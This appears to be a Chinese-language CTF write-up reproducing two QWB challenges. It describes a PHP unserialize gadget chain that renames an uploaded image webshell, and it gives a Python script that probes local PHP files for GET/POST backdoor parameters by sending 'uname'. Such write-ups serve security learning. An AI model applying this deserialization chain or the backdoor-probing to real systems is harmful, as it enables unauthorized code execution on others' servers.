qwb复现
复现一些qwb的题目
upload
可以通过dirsearch找到泄露的源码 , -u指定url, -e指定插件
如果是代码审计题,而且是文件很多的,需要找到利用点,我们直接搜索unserialize找到一处可以利用的代码:
public function login_check(){
$profile=cookie('user'); //获取到cookie中的user值
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile)); //直接反序列化
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
接下来去寻找哪里调用了这个方法,在Profile这个类中
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
...
upload_img方法会调用login_check反序列化
而这个操作中的 \$this->ext、\$this->filename_tmp、$this->filename 均可通过反序列化控制。
同时在Profile.php文件的末尾还有一处
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
这两个函数的意思是如果访问了类中的private属性,就会调用__get方法,如果调用了类中不存在的方法,就会通过__call对$this->name所指向的方法进行调用
意味着我们可以调用任意的类方法
同时在Register.php中有一处:
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
首先上传一个图片马,之后通过Register类的__destruct方法,调用__get方法得到函数名upload_img,再调用__call方法,通过调用upload_img可以对图片马进行改名
如果我们将$this->checker赋值为Profile类,由于Profile类中不存在index方法,就会触发__call,这样就能构造一条完成的攻击链
高明的黑客
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))
for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass